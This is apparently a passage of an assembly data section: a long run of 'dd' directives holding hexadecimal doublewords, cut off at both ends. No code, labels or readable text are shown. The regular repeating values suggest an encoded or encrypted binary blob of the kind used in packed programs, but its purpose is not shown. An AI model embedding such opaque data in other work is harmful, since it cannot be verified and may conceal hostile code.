797B861h, 99DD8946h dd 0B938CDEAh, 6B60524Eh, 0FA443215h, 4E6D8683h, 84129BDDh dd 3A05EE69h, 0E71C5375h, 2F538CDDh, 0E32A532Fh, 617925F1h dd 6674B71Ah, 6BCB3215h, 96113215h, 7A16BB6Ch, 1B789848h dd 78A5C223h, 7B5CB79Eh, 0EA8735FCh, 66443214h, 679961ECh dd 67113215h, 69E869CAh, 0D14BEAAAh, 0E31953DBh, 61E025FDh dd 66BAB71Ah, 0EB4B3215h, 66223204h, 66113EFCh, 2AE45315h dd 70D0F160h, 9FB93B9Bh, 0CF94B996h, 938FDB1Eh, 66458A45h dd 0A1233215h, 0EF1E524Dh, 66883215h, 796851Ah, 71CEB72Eh dd 0E31E35E4h, 66883251h, 664FDB75h, 0FE343215h, 550D4650h dd 47AED520h, 6641DB81h, 0AEA13215h, 762862Fh, 7989B79Eh dd 6EAD35FCh, 0B9223215h, 2BB8881Ch, 316AA6BAh, 67603696h dd 6628DB4Ah, 0FB593215h, 52EE9983h, 46CAFDD9h, 71D2B72Eh dd 0E31E35E4h, 6688325Bh, 664BDB75h, 0F1263215h, 0BDEB39A9h dd 7E92E28Dh, 57D32DD2h, 0ED43CAE7h, 8F09CF90h, 669ADB12h dd 0A9C53215h, 0B35E6378h, 0E292FEDDh, 0D653605Dh, 0A6429ABEh dd 42CE8F40h, 8390354Fh, 0CF12382h, 993FF794h, 890BCFB2h dd 0B89A5248h, 0E3B353ECh, 61B525E1h, 6669B71Ah, 77F83215h dd 6C883215h, 335824B7h, 0F5770232h, 2B6E0F3h, 2CAE9C7Ch dd 70BDB79Eh, 0E02D35FCh, 6611321Eh, 9C035475h, 6644BD1Ah dd 69433215h, 66113A96h, 0BA085215h, 0A9FB3D8Dh, 999B6374h dd 4FEECDEAh, 0E2876BDAh, 66443214h, 1FA709ECh, 6916DB0Eh dd 66880D90h, 0E7225215h, 0E73099C6h, 0E2BC13CBh, 0E3035344h dd 61AD3DCCh, 662222FCh, 0B5CF0315h, 254EF5CCh, 0FF6EB37Bh dd 0E366F562h, 67AA6154h, 67883215h, 6EAD69CAh, 97223215h dd 0B3277ADDh, 9F03C29Fh, 71BCB72Eh, 0E32D35E4h, 6611327Eh dd 0E30DB9E9h, 643DB09h, 68CAC89Eh, 0F4113215h, 0A26AC96Ch dd 8640CF75h, 0A318E9D9h, 85905415h, 7D3E7F2h, 6656DA75h dd 65AF3215h, 0B037B0F3h, 0F78018A3h, 8282EC8Fh, 0D497805Dh dd 66113AFCh, 0D23E2A15h, 0D78B27BAh, 0DC44685Eh, 3370CDB8h dd 668833A8h, 3BAB3315h, 66223CFCh, 0ED843215h, 99FC4C37h dd 0C5509201h, 5DD4DE0Ch, 97090690h, 90D3D12h, 8F443215h dd 66223218h, 7A62941Eh, 9D953C15h, 9B552593h, 0DBA1C79Eh dd 61E02A29h, 400D3D15h, 6443215h, 63CAF49Fh, 0D4113215h dd 0FA622E68h, 46ADB373h, 0E54369D9h, 8F0D33A8h, 0E2873212h dd 6644323Bh, 58F4B275h, 0BB94B974h, 68FDB34h, 69BAB973h dd 66223C9Ch, 6618DB15h, 0F2043215h, 6397F85Ch, 7CB61E0h dd 99EE8B44h, 0A9A1CDEAh, 0E37FCE4Ch, 61D32A2Dh, 66BFB71Ah dd 8EE83215h, 66443218h, 8C0356CAh, 5C04F2FAh, 90EEFF6Ah dd 61148A34h, 69793514h, 66113796h, 0C5E28B15h, 0E52553B3h dd 973A0EA8h, 0E31E3212h, 66883220h, 664435FCh, 54846A15h dd 377FE170h, 6735B1E9h, 6643DB09h, 6640B61Ah, 8E713215h dd 6688321Bh, 0C928B80Ch, 3C601188h, 0A0FEF25Ch, 0CA30292Eh dd 394F7948h, 67A7B974h, 616DB17h, 668837FCh, 8CC41D15h dd 68CBFC4Dh, 6C113215h, 0B6C44B18h, 0CCF79F1Bh, 534A1327h dd 60F8531Bh, 0F8883215h, 92C3C471h, 679860F4h, 67113215h dd 0EE8768C2h, 6644321Dh, 6620BF1Ah, 7713215h, 7174B72Eh dd 0E34B35E4h, 66223245h, 9794B9E0h, 68FDB0Ch, 66443EFCh dd 2ECE7915h, 58324BBFh, 10C33386h, 0DB11537Bh, 6EE32E68h dd 11DFD794h, 0A3091294h, 993AD9A0h, 8F7FDD14h, 6611321Ah dd 380BAC33h, 0C7775A2Ah, 0DEEB41FCh, 6941F79Fh, 66883592h dd 0AFF5215h, 70901C3h, 7E11B72Eh, 0E38735E4h, 66443239h dd 6629B91Ah, 60F83215h, 13883215h, 0B10A87B3h, 0E7A7B9EAh dd 8F16DB0Ah, 66883213h, 0EF8ECDFFh, 0DF7354DCh, 66113214h dd 93D1FD14h, 7E40B72Eh dd 0E32D35E4h, 6611325Eh, 66883DFCh, 66716015h, 10486574h dd 148F75BAh, 2C657581h, 735DB79Eh, 0E62D35FCh, 6611321Dh dd 0BE035475h, 7B68D1Ah, 5BE88A45h, 5B3C5EB2h, 53B9F427h dd 7527658Eh, 4129AF10h, 38690743h, 0AAA54505h, 4F4C8B2Ch dd 5DDB6AD2h, 97093A90h, 5C0D3D12h, 9E443215h, 4CA3B79Eh dd 0E51E35FCh, 6688321Bh, 66443BFCh, 0F9750E15h, 0C7F3F4A1h dd 0B10FC71Fh, 57930357h, 6F503EFh, 0B544E594h, 69E87FDBh dd 66443290h, 0CCD1B315h, 7033D7Ah, 6A0D0974h, 6943C30Dh dd 66226A90h, 6E953D15h, 6883215h, 5C65A2ABh, 643C76Ah dd 0ED706846h, 8F956F90h, 6656DB12h, 80443215h, 5AE8F85Ah dd 0BF7900CFh, 8C9EB690h, 22184A5Fh, 423DB342h, 9977CDEAh dd 77AD524Ah, 70223215h, 0C655F693h, 0B2B8F271h, 67B6F671h dd 30E22A1h, 66953D46h, 3E883215h, 76C10974h, 6925C30Dh dd 66117390h, 67013D15h, 9F443215h, 6633B79Eh, 0ED1E35FCh dd 6688321Dh, 6646BB1Ah, 7423215h, 99EE8C43h, 91A1CDEAh dd 664FDB4Bh, 0D8A3215h, 8E96E84Eh, 0BA3228EFh, 0E72252C6h dd 0E746CDD3h, 16A3BDC2h, 9983532Ch, 6643B61Ah, 8FDA3215h dd 99EEDEC8h, 0D70D09ECh, 6943DB15h, 66221190h, 0E39CCB15h dd 6178423Ah, 664422FCh, 8DA4C515h, 0CED9E3CAh, 0FFD80488h dd 20CD8368h, 8A8DDBEBh, 9AE9CDEAh, 69CDB72Eh, 0E34B35FCh dd 6622324Ch, 66113FFCh, 8275B215h, 6EB94E2Ch, 0A5F510AFh dd 0E671812Bh, 6830BFF7h, 72F42A0h, 717E8F96h, 691035E4h dd 66880290h, 0E3C9C715h, 667B3972h, 661123FCh, 58757015h dd 174AFED0h, 0C0093E06h, 1C73B86h, 30619115h, 6BBCDF9h dd 0F2258C73h, 39F7B347h, 3CBB2CFCh, 0AC10974h, 6925C302h dd 66111891h, 0E3B3CB15h, 61B52565h, 6616B71Ah, 0ED1E3215h dd 66883202h, 664420FCh, 0F139C715h, 6A3CA988h, 719E4DA8h dd 4F2317B4h, 8F5FA4D2h, 99EEDE18h, 6684B71Ah, 0EB4B3215h dd 66223213h, 6611B11Ah, 0D1E03215h, 0EF443271h, 0DC9A1611h dd 53361178h, 754C3651h, 7ED23010h, 3EE4BBDEh, 67EFB1E9h dd 6624B71Ah, 6BAD3215h, 0AE223215h, 10A46CCCh, 850294B5h dd 65D29799h, 6A709EDh, 6916C302h, 66882D90h, 0E3C9CA15h dd 667AB5D1h, 8DBADBECh, 6E8CDEAh, 6644B61Ah, 7423215h dd 83DEB374h, 7D226B9h, 7120B72Eh, 0E32D35E4h, 6611325Dh dd 669DB21Ah, 8F243215h, 6622321Bh, 9382203Dh, 0B3021A64h dd 6C6FB263h, 69439EB2h, 66113A98h, 64093D15h, 6443215h dd 5CA7BF74h, 69116A9Dh, 66883E9Dh, 60C53D15h, 69223215h dd 66113293h, 2061C715h, 9ABBCDFEh, 714AB72Eh, 0E31E35E4h dd 6688321Bh, 19C1BFE0h, 9A226A9Dh, 99FA1EFCh, 34D8CAEAh dd 0A9648EAFh, 42761B01h, 63496811h, 724712A9h, 664FB91Ah dd 60CB3215h, 3F113215h, 72A1B0EEh, 66465AAFh, 52A93215h dd 62D5B131h, 6689B21Ah, 6DBD3215h, 7DA73DE3h, 9F113215h dd 9962FCFCh, 6654DBEAh, 3CEF3215h, 311C621Fh, 7C470A73h dd 0D575B4E8h, 314AFC1Bh, 0EF11326Dh, 9FD61611h, 4C55879Ch dd 4235FCh, 6911DAAAh, 9AE9E5A2h, 5355879Ch, 4235FCh, 6A02DA94h dd 318BFB94h, 62501F0h, 6625DB42h, 0BF323215h, 2C242C22h dd 6FF66C9Fh, 8F1CB274h, 6703B71Ah, 8FE83215h, 66443218h dd 0CDDA6D8Fh, 614FE9A5h, 7984B56Bh, 3425CE97h, 662233AFh dd 9CD3B315h, 67E5ED03h, 9CAEB3E7h, 0ED4FED03h, 37E4682Fh dd 0B1A7D3ACh, 36B5B37Eh, 0E7215402h, 0E92255FCh, 3F471B11h dd 0A1C5C514h, 200375Fh, 6602DB75h, 81B53215h, 0E2486CABh dd 878F1656h, 11BBB491h, 286B5E0Bh, 664EDB00h, 4E533215h dd 0E667E79Fh, 0CA2F383Eh, 62C56474h, 266C531h, 420DB91Bh dd 0E78CF696h, 200C5FEh, 67AC3D1Bh, 9E113215h, 668835FCh dd 0BA185515h, 0CEDCA278h, 76055A40h, 91D560F9h, 60A1F3C0h dd 8BA3E7E2h, 0DD12F72Ah, 69D5D914h, 6644339Ah, 0DB19CB15h dd 61F81804h, 66B4B01Ah, 0D3243215h, 6624DAB4h, 0A4773215h dd 0AA7FF318h, 664437FDh, 5C5DC315h, 384A3804h, 69730974h dd 66441993h, 6636DB15h, 0E5CB3215h, 0F231EF2Fh, 6416EB11h dd 0A080E899h, 0F02EDEA5h, 0A61A430h, 6BBCDFCh, 698CEF95h dd 66113098h, 746B915h, 40598F9Eh, 4235FCh, 2747ADh, 0A1E9F59Eh dd 8F5F8F90h, 66223212h, 0D9775215h, 0E7EE80CDh, 7B48FC7h dd 662EDB75h, 0C273215h, 7A9A217Ah, 10DC6364h, 76CB6C98h dd 0DE113215h, 19FF7359h, 4A0C1C75h, 0E8AF9468h, 0EFEE8BE3h dd 8FBD23A0h, 67CD3D12h, 93223215h, 0F895AF98h, 8FE835E4h dd 66443212h, 8DB3692Dh, 0DEB537B5h, 5BEEFF9Bh, 8F97CD74h dd 66223206h, 0E574D0B7h, 8188F3Ah, 0C4FFA2C5h, 0A76E0A88h dd 6D434F15h, 420C3DD5h, 6443215h, 9DA9FC9Eh, 6668DB74h dd 72613215h, 7D443215h, 0B8EC534h, 134AFE75h, 3247D6Dh dd 0D2E642F8h, 0EB67DB6Eh, 88D48E88h, 0E587C712h, 66443214h dd 69F1CDE9h, 99EE4C96h, 0D303CAEAh, 61AD0704h, 0DB97BBEDh dd 8F16DB0Eh, 6688321Eh, 0CA9E6C71h, 5F1598D3h, 0EBA55748h dd 895CD088h, 0B5BBC712h, 662226FCh, 67DED715h, 2853327Ah dd 543D8908h, 0AE32E2FBh, 0A9A89434h, 668DDB80h, 3DD13215h dd 0EDCA90C9h, 8F3B2390h, 6687DB12h, 78003215h, 786FEC96h dd 1F29123Fh, 3DC6C314h, 77C1BBCAh, 6925DB20h, 6611339Bh dd 69E9C715h, 66443595h, 7425215h, 7D8851Ah, 69600C95h dd 6644D490h, 0DBA1CB15h, 61F8216Ch, 0BE0C3D15h, 8F443215h dd 66223205h, 19E8AD67h, 0E017967h, 99EFC7F8h, 0FEE081D0h dd 6670257Dh, 4294BB15h, 9ECCDBA2h, 0EC2D524Eh, 66113217h dd 0EC875375h, 66443218h, 66223AFCh, 87CB5715h, 96A41FAEh dd 69EE53E8h, 66222995h, 0E61E5215h, 66883215h, 66443FFDh dd 82F0D715h, 0D7549DB1h, 26EFA474h, 71E6C1Eh, 661E877Dh dd 4225BB15h, 0EF87524Dh, 66443216h, 7F5851Ah, 6617B21Ah dd 0EDE83215h, 72552EEh, 108F8B44h, 0AE1012BEh, 4B701B4Ch dd 46EF44B8h, 66223EFCh, 896E3E15h, 0E2788F5Ah, 0FCB7DC72h dd 629B639Dh, 4B113215h, 59144C2Dh, 5E41FA3Ch, 3F1DAE6Bh dd 66113DFCh, 3E899C15h, 0E99B1BBAh, 7A39EED7h, 6B553D3Dh dd 0F361C7BEh, 69443217h, 66223396h, 0EBE4CE15h, 970CBC88h dd 6AC83D12h, 8F223215h, 66113212h, 0F0B321F3h, 998BE65Ch dd 662ADBC6h, 6C403215h, 3B01B410h, 0FBC9F860h, 61D3AB18h dd 9FC2CDEDh, 0E387F21Eh, 66443230h, 662223FCh, 5CA96B15h dd 0A7FB5391h, 2691F608h, 517C79BCh, 43F8D618h, 8F883215h dd 66443210h, 649FB3FEh, 7794B168h, 638FDB20h, 66443BFCh dd 7CF03915h, 366C537h, 0FF618913h, 9FBBCDEBh, 0FD1FAF98h dd 63F835E4h, 50883215h, 35DBBE48h, 76CBE1EAh, 64113215h dd 83A4A21Eh, 4D87C00Bh, 75316C9Ah, 6219463h, 668838FCh dd 0D6BF8515h, 251D0D9Eh, 8F189424h, 66883201h, 49F8A9D3h dd 0A2D878E9h, 9999CDADh, 599A4ECDh, 491E1229h, 69E23974h dd 66111E90h, 6684DB15h, 0AD2C3215h, 2ED8F4E9h, 0B6A128EDh dd 3D61E6B7h, 8F443215h, 66223204h, 44162021h, 0D1FB9D37h dd 6FAEA1CCh, 88749DCAh, 62FDB3F9h, 0EF883215h, 62F91639h dd 67223215h, 6DF86FFFh, 0BB883215h, 9D700198h, 6551890Ah dd 0FF812F9h, 6883214h, 0A471D194h, 74CB13E6h, 0B113215h dd 0AE38962h, 8D01BB8Bh, 7DA49541h, 0C974741Bh, 0FB0553E9h dd 61AAF7A9h, 63A93D75h, 113215h, 8A8EC094h, 664422FDh dd 1524DF15h, 0FBFD1CE9h, 8FF70407h, 77B85E24h, 3E7B63C1h dd 69C2CD74h, 66880596h, 6BC23D15h, 8F223215h, 6611321Dh dd 0E5BD55A4h, 0E4DE9FEAh, 5333879Eh, 0EB1E35FCh, 66883219h dd 664435FCh, 0D058C715h, 39093033h, 66A715FCh, 67C73D15h dd 9F223215h, 5300BF9Eh, 766135FCh, 0C2443215h, 1C4174F1h dd 63F40F01h, 61DACEC2h, 0EF35AAF7h, 8F1723A0h, 6BF95212h dd 0EF883215h, 0E48A4B0Ah, 0E0FD98EBh, 952B6316h, 3D61FE95h dd 84A2B373h, 0DB775393h, 4C014856h, 0E7C5EFE2h, 546044D0h dd 0A3A37F73h, 1B930484h, 143ADF94h, 8F457C1Ah, 0E7D31B48h dd 0F27F22FCh, 6682DB7Eh, 0E27C3215h, 70FD88FAh, 99E310A2h dd 6689DB94h, 0B7B33215h, 6628B91Ah, 0E7713215h, 14968DCDh dd 7255225h, 2DB4F494h, 88905B26h, 1E2947D3h, 0A0C5FC3Ch dd 1E8347D3h, 2D87DC94h, 8FE85B26h, 66443206h, 41E83753h dd 0B142892Ah, 35A9AD3Fh, 0E5FE7900h, 7E0D24Fh, 9E7196E6h dd 3D5AF594h, 8F252186h, 99DDCE81h, 661139FCh, 7F3F0115h dd 86E4D2DDh, 13F8A3DDh, 0B0D0AF98h, 997435FAh, 0EF11CAC6h dd 0EDCABBE8h, 0A2921639h, 0E3A3CA11h, 61AD1408h, 6636B41Ah dd 0EB1E3215h, 6688321Bh, 66443BFCh, 9BC75715h, 0AB085022h dd 0E3010445h, 61AD206Ch, 662ABA1Ah, 0EB1E3215h, 66883217h dd 0E3CF5375h, 61CB1408h, 0B1AE3D75h, 7F78B373h, 0EB85344h dd 66220DC0h, 8F350E9Ch, 66883213h, 0E50E252Ch, 944A213Fh dd 0EF113208h, 77611611h, 2C443215h, 0F0460C2Fh, 2435B0B9h dd 65B7CD90h, 5F79B2CDh, 0BEFABF98h, 0E51E35FAh, 6688321Dh dd 6646B41Ah, 7423215h, 0DF71E3EAh, 6CE50440h, 0D3FEB94h dd 6943400Bh, 6611389Fh, 668DDB15h, 0F773215h, 0ED198886h dd 8F181B90h, 0C305212h, 6570DD0h, 0E7445375h, 70CEFFEh dd 326B5A74h, 62CD3215h, 6FCA5231h, 0C4113215h, 0B0326615h dd 0ADC7D307h, 0E436BE0h, 66113724h, 69AC0E9Ch, 66443396h dd 0E3A9CA15h, 61F81408h, 668838FCh, 0A153BE15h, 55E30331h dd 364F78DDh, 628DD29Ch, 0E5443215h, 62A536FDh, 62986E31h dd 0D9875231h, 6655DBDDh, 0CFD03215h, 65F27DE0h, 4FD34209h dd 9DB6D4A6h, 71BF778h, 0BFF5BF98h, 0E48735FAh, 66443210h dd 9F9D3D75h, 75F95274h, 13883215h, 0BF7CB2F8h, 37948D7Bh dd 40187182h, 81C881B6h, 3E14B51Eh, 9CA9544Eh, 69C0CD74h dd 66883599h, 67CB3D15h, 9E223215h, 4205B945h, 8F8CF696h dd 66443219h, 2FAD1E27h, 6BCA27F6h, 29A331D5h, 0EF83BB42h dd 421EB9ECh, 6615F694h, 4D743215h, 8F4D1B98h, 6633DB12h dd 0E1DD3215h, 7B60126Fh, 4C30D930h, 755A1B0Bh, 0E560AF50h dd 8F80CBA8h, 0E24B3212h, 662232BDh, 661138FCh, 8D438715h dd 6D9BB777h, 0ED3EEA8Ah, 8F32FF90h, 6687DB12h, 3F493215h dd 0AB9D39AAh, 85DDD33h, 0E418B301h, 9FC11935h, 8F25DB1Dh dd 66113207h, 0D2D684F7h, 57FDD2A2h, 564622C9h, 0EEAD149Dh dd 0A7B3F527h, 661EB41Ah, 6DE3215h, 0BCD695h, 2A60D094h dd 47C1B974h, 9F25DB15h, 6EE8B716h, 69E835FCh, 66442096h dd 662EDA15h, 5423215h, 0C6C2AE4h, 367ABC50h, 697C29C4h dd 6611309Ah, 7E95215h, 6965B79Ch, 4235FCh, 7AC1F594h dd 74BB973h, 67D0DBEDh, 63CB3215h, 0C9113215h, 9C829674h dd 0E7A2BB43h, 662236D3h, 62FFB115h, 3AAC0692h, 8F603E9Ch dd 66223212h, 703836F1h, 8F61411Ch, 66443219h, 0E1F673BEh dd 0DED1AE27h, 0DC2B6D5Eh, 52C56346h, 9E6BF731h, 95906933h dd 40707BD0h, 61FEA9Ch, 697EFD95h, 66113699h, 1335415h dd 0D91353DAh, 66223214h, 9F4ECA3Ch, 51978946h, 8DC57FC4h dd 3A2B38B8h, 0A590D9C4h, 66883214h, 0D58FB35Eh, 0E7031439h dd 803F8EFEh, 3D503B6Ch, 0DC225275h, 6943574Ch, 0F070F9AAh dd 3EDE6253h, 0E3CDC74Bh, 61CB11D8h, 79433E0h, 938FDB10h dd 6EBDB7D2h, 662235FCh, 76F83215h, 7E883215h, 6B40BA7Bh dd 0B58C1ED6h, 8958417Ch, 0CE273FCh, 662CC755h, 8F223205h dd 66113218h, 0C4A30A97h, 324CC5F8h, 0DFD27A77h, 62165A34h dd 6A013215h, 662ECA31h, 662EB21Ah, 0E91E3215h, 66883213h dd 6644BD1Ah, 0F3DD3215h, 61F81968h, 0E4375475h, 76687BBh dd 662235FCh, 0A4139215h, 713AD004h, 46E5A7EAh, 0E42D35FCh dd 66113219h, 95375475h, 66C83D22h, 7223215h, 6630B79Ch dd 0E28735FCh, 66443214h, 47A7BBECh, 8F16DB1Ah, 66883201h dd 7890202Eh, 439E2BC6h, 5A9B7B41h, 860C69C8h, 1EAFBB59h dd 869B5475h, 0A1F1B3D0h, 7D43EE6h, 31603E9Eh, 0A1A3D59Ch dd 66113211h, 668CF594h, 5AC33215h, 69CB6E31h, 29113215h dd 9EB3DFEBh, 9346282h, 417BD72Ch, 0D3EECE91h, 61613D34h dd 3915CE75h, 4F97CD74h, 6916DB1Ch, 66883E9Fh, 6643DB15h dd 0AEBF3215h, 55F5CD91h, 810165E8h, 6640F594h, 89A13215h dd 422DB511h, 42B4BB49h, 90FB3D75h, 6627B21Ah, 0FDAB3215h dd 7B8AFF6h, 405987EAh, 0EBDB35FCh, 89E5FE90h, 7D5212h dd 7177D094h, 69F2CD74h, 6611339Eh, 0EB89CA15h, 61AD3AECh dd 479FB9E9h, 616DB1Ah, 7CFEA95h, 6F6D879Eh, 8F4235FCh dd 66113201h, 1829FC43h, 1622AD6Ch, 4BB280B0h, 0F8855976h dd 0C711AE34h, 95254EA0h, 6628DBB1h, 98463215h, 0C34F7C30h dd 507D7C6Ah, 44D7879Eh, 61F835FCh, 0CD883215h, 3DE954A7h dd 61CBA7E1h, 2E113215h, 4309F185h, 8FE97D12h, 66223218h dd 7F85EEC0h, 0FDB0606Ah, 0B01EB3EBh, 899A6267h, 0A746BB70h dd 5B8D3AFDh, 5345AF22h, 67D6F2B7h, 0EDED749Ch, 0A2091611h dd 66443211h, 662238FCh, 0F9510915h, 9FCF82F2h, 0A7126982h dd 76CB37D5h, 8B113215h, 924A85A3h, 3381E3E7h, 1ECEA9C3h dd 35308069h, 899AA0AEh, 60AFF35Ch, 8DA3E1E2h, 0A9EACA00h dd 8FD3EA14h, 66443210h, 72872872h, 0E312CEC3h, 61612018h dd 664434FCh, 11084D15h, 9F02108Bh, 69A9BF9Eh, 69BC35FCh dd 66223A90h, 64963D15h, 6883215h, 0ACCD6074h, 72A9229Ch dd 62D5B131h, 6684B71Ah, 0EE4B3215h, 66223213h, 6611B91Ah dd 6253215h, 8F25C7E9h, 66223219h, 8511956Bh, 63CB0117h dd 1A3D6FF0h, 602D8946h, 0BDE66406h, 918BD1D4h, 0DB1171C6h dd 0D6BA026Dh, 0EF4CD93Ch, 69D3CE4Bh, 66443392h, 0EFDBCB15h dd 8F33C7A0h, 6C615212h, 6443215h, 984C2421h, 2623CEBh dd 9E0B5360h, 0B7C13DEAh, 6223215h, 0ABD2B373h, 580953BFh dd 0BB99EFC8h, 669CB71Ah, 61F83215h, 0CA883215h, 34C3867Bh dd 72CBBF85h, 70113215h, 0A3ABDC82h, 3FE34F4Ah, 818BF664h dd 841907FFh, 35D03F16h, 2D3D8847h, 0E7682A5Eh, 8151A2D7h dd 6E6AF354h, 1CB6B357h, 0EF79A72Eh, 60D668C6h, 0F91016Eh dd 8F1F2C3Ch, 66223210h, 59F31EA2h, 730F3DD9h, 8F443215h dd 66223205h, 994E05C5h, 69A2D57Ch, 9A2D6023h, 8F1EE469h dd 6605AC7Dh, 42B4BB15h, 664436AAh, 39DC3315h, 6602DB75h dd 0F1363215h, 0A35F21D3h dd 0F42C9D12h, 0D814806Dh, 0B7DC7FF9h, 0D3CD53C2h, 61CB10E0h dd 0EFB975h, 8FE9C09Eh, 99BBE60Fh, 6625B71Ah, 0E51E3215h dd 66883214h, 67CE3DEDh, 93223215h, 612F2D4h, 0DF29D095h dd 2F9EFFCBh, 6BA73174h, 616DB07h, 668839FDh, 0F2EF5E15h dd 0C25E384Bh, 1A8219D2h, 9FD6F99Eh, 0DBC7CB74h, 61CB2A84h dd 0AE953D14h, 6883216h, 664421FCh, 81FF4215h, 7106EE0Bh dd 31AF00BDh, 0A19BC3B5h, 5BE8E9A9h, 661AB71Ah, 60613215h dd 79443215h, 0D78E09A4h, 589053BFh, 0CC2298BFh, 66FEB71Ah dd 77CB3215h, 28113215h, 1A2D804Dh, 0F4416C3Ch, 885C0E68h dd 29F52911h, 668C5A46h, 671F3215h, 61CB69CBh, 0A4113215h dd 28BC2A34h, 0DD1784F5h, 99DDCDE9h, 0DC43C114h, 46090DA2h dd 59F331D2h, 750B1294h, 69F8694Fh, 0A9883215h, 0B51AFD89h dd 0D38A74Ch, 844B4778h, 57717478h, 578303EDh, 96A952EDh dd 0A04E8A73h, 0D3D9CA74h, 0FDA9B23Ch, 0B8DF95h, 66E48245h dd 0EED054D0h, 6B16BFDh, 6624B91Ah, 85903215h, 4C79B3A2h dd 8F25CEA7h, 6622327Bh, 0BCA85475h, 0CE7AB222h, 7FC63D74h dd 69223215h, 66112190h, 6686DB15h, 68343215h, 15330718h dd 45C0BAE4h, 1085BBC3h, 62CF6545h, 62E6B331h, 39113215h dd 668822FCh, 0EF1CB915h, 9366055Ah, 4C062B69h, 1C2F7A4Ah dd 0D8F16355h, 0E620D7D5h, 0ABEF51D8h, 0EE9ADF95h, 4248B9FDh dd 6626F694h, 61F83215h, 0DB883215h, 497D7BD0h, 0EF72D286h dd 661537F5h, 8E0B3215h, 4240B511h, 4226BB49h, 67ACB1ECh dd 678FDB09h, 6701B61Ah, 60CB3215h, 14113215h, 364189D8h dd 22C6027h, 3C23B158h, 6D4DD894h, 8C49418Bh, 8686B311h dd 34D513B9h, 63351E94h, 3EB83F49h, 6B183710h, 0E5DE6825h dd 97064AA8h, 0E2873212h, 6644322Bh, 0C7D0B275h, 458CBF74h dd 68FC21Eh, 0ADF33D75h, 662235FCh, 33125815h, 0D9E11571h dd 65CB3D74h, 0E6223215h, 697055C8h, 6688339Dh, 0B5BBC715h dd 66223BFCh, 3ACC5D15h, 0CABF1547h, 59C44BB8h, 52A63D85h dd 8F113215h, 66883212h, 104C6B49h, 363CE3A8h, 66148847h dd 0B6013215h, 3E83334Fh, 6623B61Ah, 8FE43215h, 668833D2h dd 664438FCh, 0B17B0715h, 0E6811D35h, 0E5C01E50h, 0E44B62EDh dd 66223296h, 661137FCh, 0B8BE4115h, 0E22A65Fh, 0EF445C6Dh dd 0F6A31601h, 3CEEE29Dh, 918FB375h, 74DA178h, 660BB71Ah dd 8EE83215h, 66443219h, 0C4FFBF1Ah, 8DEA0Ah, 8281F3F2h dd 66CF3D4Bh, 7223215h, 661ADBBFh, 28373215h, 7DE37D6Ch dd 4372E06Ch, 4225CDB5h, 624CB14Dh, 20848875h, 0ED442642h dd 69BB53EEh, 66883399h, 60ADC715h, 67223215h, 66BCAF5Ch dd 6637DBBCh, 0D8243215h, 609D5DC5h, 0ED704DA4h, 0EFD81611h dd 664037F5h, 0A6A13215h, 4215B511h, 6685DB49h, 890F3215h dd 0CAD5130Eh, 3DDD5278h, 0CCC74A60h, 6656DB75h, 4F9E3215h dd 7ED18E8Bh, 7E0BF298h, 73EB86A3h, 206983DAh, 7D2B973h dd 8F774D95h, 662FB71Ah, 68CB3215h, 0E9113215h, 0A3B1BD89h dd 0E9DA4818h, 0C36E0E9Eh, 1EACB143h, 668FC302h, 6667B61Ah dd 72CB3215h, 0AD113215h, 0D3E9DC90h, 8B0B2D3Ah, 11DAA997h dd 3EF48CC9h, 0EB364986h, 964DF688h, 0B5DDCE12h, 0EE4060E0h dd 3F42BAD4h, 3C40659Dh, 6635B31Ah, 74F83215h, 0C9883215h dd 0E71E3811h, 0E7A7B68Bh, 52058182h, 8EF36FFh, 47C1B928h dd 9F25DB1Ah, 0DA5A1938h, 75A7375Ah, 9E6D5BDAh, 0A9311D38h dd 2D3A377Ch, 0ED877DA9h, 66443206h, 66223CFCh, 92E55E15h dd 0FBE06BE9h, 98CCCA63h, 6E22345h, 4BDAF194h, 7714096h dd 0D678D42h, 9165069Bh, 65E6B3CAh, 0E7B48162h, 0F63308E2h dd 87D5B319h, 4FEA6081h, 6F616DEDh, 0E6443215h, 0AF8A864Ch dd 1E0E3042h, 0EDEE52BEh, 0BEC554EFh, 0CB431F11h, 709C3D75h dd 8F883215h, 66443204h, 6D2EC11Dh, 0E6D8B93Fh, 78404591h dd 3A35F36Ah, 0A1A954B3h, 66AB6074h, 33883215h, 8CDE79Ch dd 6786FE9h, 0ED77C79Fh, 0B26153D2h, 8FBBCDEFh, 6622321Ah dd 5FB1FD8Bh, 760D9F55h, 299E2142h, 0EFE62D6Bh, 8F33C7A0h dd 760C3D12h, 8F443215h, 6622321Eh, 1C1FF544h, 3E83F804h dd 35E54F1Ch, 0A5A3D19Ch, 66113211h, 0E18CD996h, 0EF181609h dd 68CB1601h, 63113215h, 899A486h, 8B846552h, 0B850AA08h dd 0E31E523Bh, 6688320Ch, 664426FCh, 82451815h, 0F431B60Eh dd 0A845659Fh, 0CB19C39Bh, 0FC60D1D5h, 0F268874h, 0EE9495Bh dd 6644B215h, 0E32D5275h, 66113215h, 69E95375h, 66443094h dd 7796115h, 6614DB75h, 51853215h, 8F3AC167h, 6622321Dh dd 6D09ACF8h, 227A6B83h, 69445874h, 6622239Fh, 661DDB15h dd 0EF563215h, 4CABC690h, 0BCD2E152h, 0D3EEE51Bh, 61612138h dd 664DDB75h, 0EE943215h, 0ABA15FE9h, 30AF3D94h, 8C4B8B73h dd 0F3DD534Bh, 61F83350h, 429CB9EDh, 0E7A1BB40h, 662236D0h dd 62D4B315h, 0E1883215h, 69181639h, 66223B97h, 0E01E5215h dd 66883215h, 0EBCF53EDh, 61CB38FCh, 2110F5EDh, 91A44447h dd 9955C50Ch, 9923CD14h, 2F20B314h, 6A44447h, 664438FDh dd 49C72D15h, 0C81EA09Ah, 0ECC92FF9h, 0E72268F4h, 7B569C6h dd 66158946h, 0A7093215h, 357F044Dh, 8FA3EB14h, 352A044Dh dd 6682DB4Eh, 0A57D3215h, 8A32C6ADh, 6664C18Ah, 668834FCh dd 7B985E15h, 0EFA5F264h, 8F1BDB98h, 668DDB12h, 0FF213215h dd 8F68C8ADh, 99EEF447h, 4B9ADBEDh, 0E7243215h, 1F0D47D2h dd 661EDA49h, 73913215h, 0AEC2F09Ch, 41953352h, 10EF8457h dd 3ED3648Eh, 69245274h, 66222A9Ch, 6602DB15h, 48AD3215h dd 85CB96Eh, 0A52F369Dh, 0FC29C39h, 8F677B66h, 0A0CF5454h dd 8FAFB974h, 8F16DB1Fh, 66883201h, 80802AC4h, 8DA20458h dd 325617D4h, 84271936h, 3A635365h, 66228847h, 0AC103215h dd 520900EAh, 0F949D431h, 97A36B20h, 538E3FF3h, 669ADB4Fh dd 0AAEE3215h, 